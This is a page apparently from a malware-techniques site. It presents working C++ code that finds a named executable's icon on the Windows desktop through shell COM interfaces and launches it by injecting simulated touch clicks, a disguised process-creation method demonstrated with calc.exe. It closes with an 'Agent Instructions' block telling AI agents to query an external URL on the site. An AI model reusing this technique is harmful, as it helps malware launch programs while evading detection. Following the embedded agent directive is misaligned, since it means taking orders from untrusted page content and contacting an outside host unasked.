# Touch Injection Click on Desktop Binary

```cpp
BOOL TouchInjectionExecuteBinaryOnDesktopFromNameW(_In_ PWCHAR BinaryName)
{
    HRESULT Result = S_OK;

    IShellView* ShellView = NULL;
    IShellWindows* ShellWindow = NULL;
    IDispatch* Dispatch = NULL;
    IServiceProvider* ServiceProvider = NULL;
    IShellBrowser* ShellBrowser = NULL;
    LONG WindowHandleLong = 0;

    VARIANT Variant; VariantInit(&Variant);

    IFolderView2* FolderView = NULL;
    IShellFolder* ShellFolder = NULL;
    FOLDERVIEWMODE Mode;
    HWND ShellHwnd = NULL;
    HWND SysListHwnd = NULL;
    INT ItemCount = 0;

    POINT ClickLocation = { 0 };
    BOOL bFlag = FALSE;

    INT IconImageSize = 0;

    if (!InitializeTouchInjection(1, TOUCH_FEEDBACK_DEFAULT))
        return GetLastError();

    Result = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    if (!SUCCEEDED(Result))
        return Win32FromHResult(Result);

    Result = CoCreateInstance(CLSID_ShellWindows, NULL, CLSCTX_ALL, IID_PPV_ARGS(&ShellWindow));
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Result = ShellWindow->FindWindowSW(&Variant, &Variant, SWC_DESKTOP, &WindowHandleLong, SWFO_NEEDDISPATCH, &Dispatch);
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Result = Dispatch->QueryInterface(IID_PPV_ARGS(&ServiceProvider));
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Result = ServiceProvider->QueryService(SID_STopLevelBrowser, IID_PPV_ARGS(&ShellBrowser));
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Result = ShellBrowser->QueryActiveShellView(&ShellView);
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Result = ShellView->GetWindow(&ShellHwnd);
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    SysListHwnd = FindWindowExW(ShellHwnd, NULL, L"SysListView32", NULL);
    if (!SysListHwnd)
        SysListHwnd = ShellHwnd;

    Result = ShellView->QueryInterface(IID_PPV_ARGS(&FolderView));
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Result = FolderView->ItemCount(SVGIO_ALLVIEW, &ItemCount);
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Result = FolderView->GetFolder(IID_PPV_ARGS(&ShellFolder));
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    Result = FolderView->GetViewModeAndIconSize(&Mode, &IconImageSize);
    if (!SUCCEEDED(Result))
        goto EXIT_ROUTINE;

    for (INT i = 0; i < ItemCount; i++)
    {
        PIDLIST_RELATIVE Idlist = NULL;
        STRRET StringObject = { 0 };
        WCHAR FilePath[MAX_PATH] = { 0 };
        POINT ItemPoint = { 0 };

        Result = FolderView->Item(i, &Idlist);
        if (!SUCCEEDED(Result))
            continue;

        Result = ShellFolder->GetDisplayNameOf(Idlist, SHGDN_FORPARSING | SHGDN_INFOLDER, &StringObject);
        if (SUCCEEDED(Result))
        {
            Result = StrRetToBufW(&StringObject, Idlist, FilePath, MAX_PATH);
            if (SUCCEEDED(Result))
            {
                if (StringCompareW(PathFindFileNameW(FilePath), BinaryName) == 0)
                {
                    Result = FolderView->GetItemPosition(Idlist, &ItemPoint);
                    if (SUCCEEDED(Result))
                    {
                        bFlag = TRUE;

                        ClickLocation.x = ItemPoint.x + IconImageSize / 2;
                        ClickLocation.y = ItemPoint.y + IconImageSize / 2;

                        CoTaskMemFree(Idlist);
                        break;
                    }
                }
            }
        }

        if (Idlist)
            CoTaskMemFree(Idlist);
    }

    if (!bFlag)
        goto EXIT_ROUTINE;

    if (MapWindowPoints(SysListHwnd, NULL, &ClickLocation, 1) == 0)
        goto EXIT_ROUTINE;

    ComMinimizeRestoreDesktopWindows();

    if (!ExecuteBinaryFromTouchInjectionCoord(ClickLocation.x, ClickLocation.y))
        goto EXIT_ROUTINE;

    ComMinimizeRestoreDesktopWindows();

EXIT_ROUTINE:

    if (ServiceProvider)
        ServiceProvider->Release();

    if (ShellWindow)
        ShellWindow->Release();

    if (Dispatch)
        Dispatch->Release();

    if (ShellBrowser)
        ShellBrowser->Release();

    if (ShellFolder)
        ShellFolder->Release();

    if (FolderView)
        FolderView->Release();

    if (ShellView)
        ShellView->Release();

    CoUninitialize();

    return ERROR_SUCCESS;
}

```

```cpp
//example
//requires calc.exe on desktop
INT main(VOID)
{
    SetProcessDpiAwarenessContext(DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2);

    TouchInjectionExecuteBinaryOnDesktopFromNameW((PWCHAR)L"calc.exe");

    return 0;
}

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://malwaresourcecode.com/home/process-creation-techniques/touch-injection-click-on-desktop-binary.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
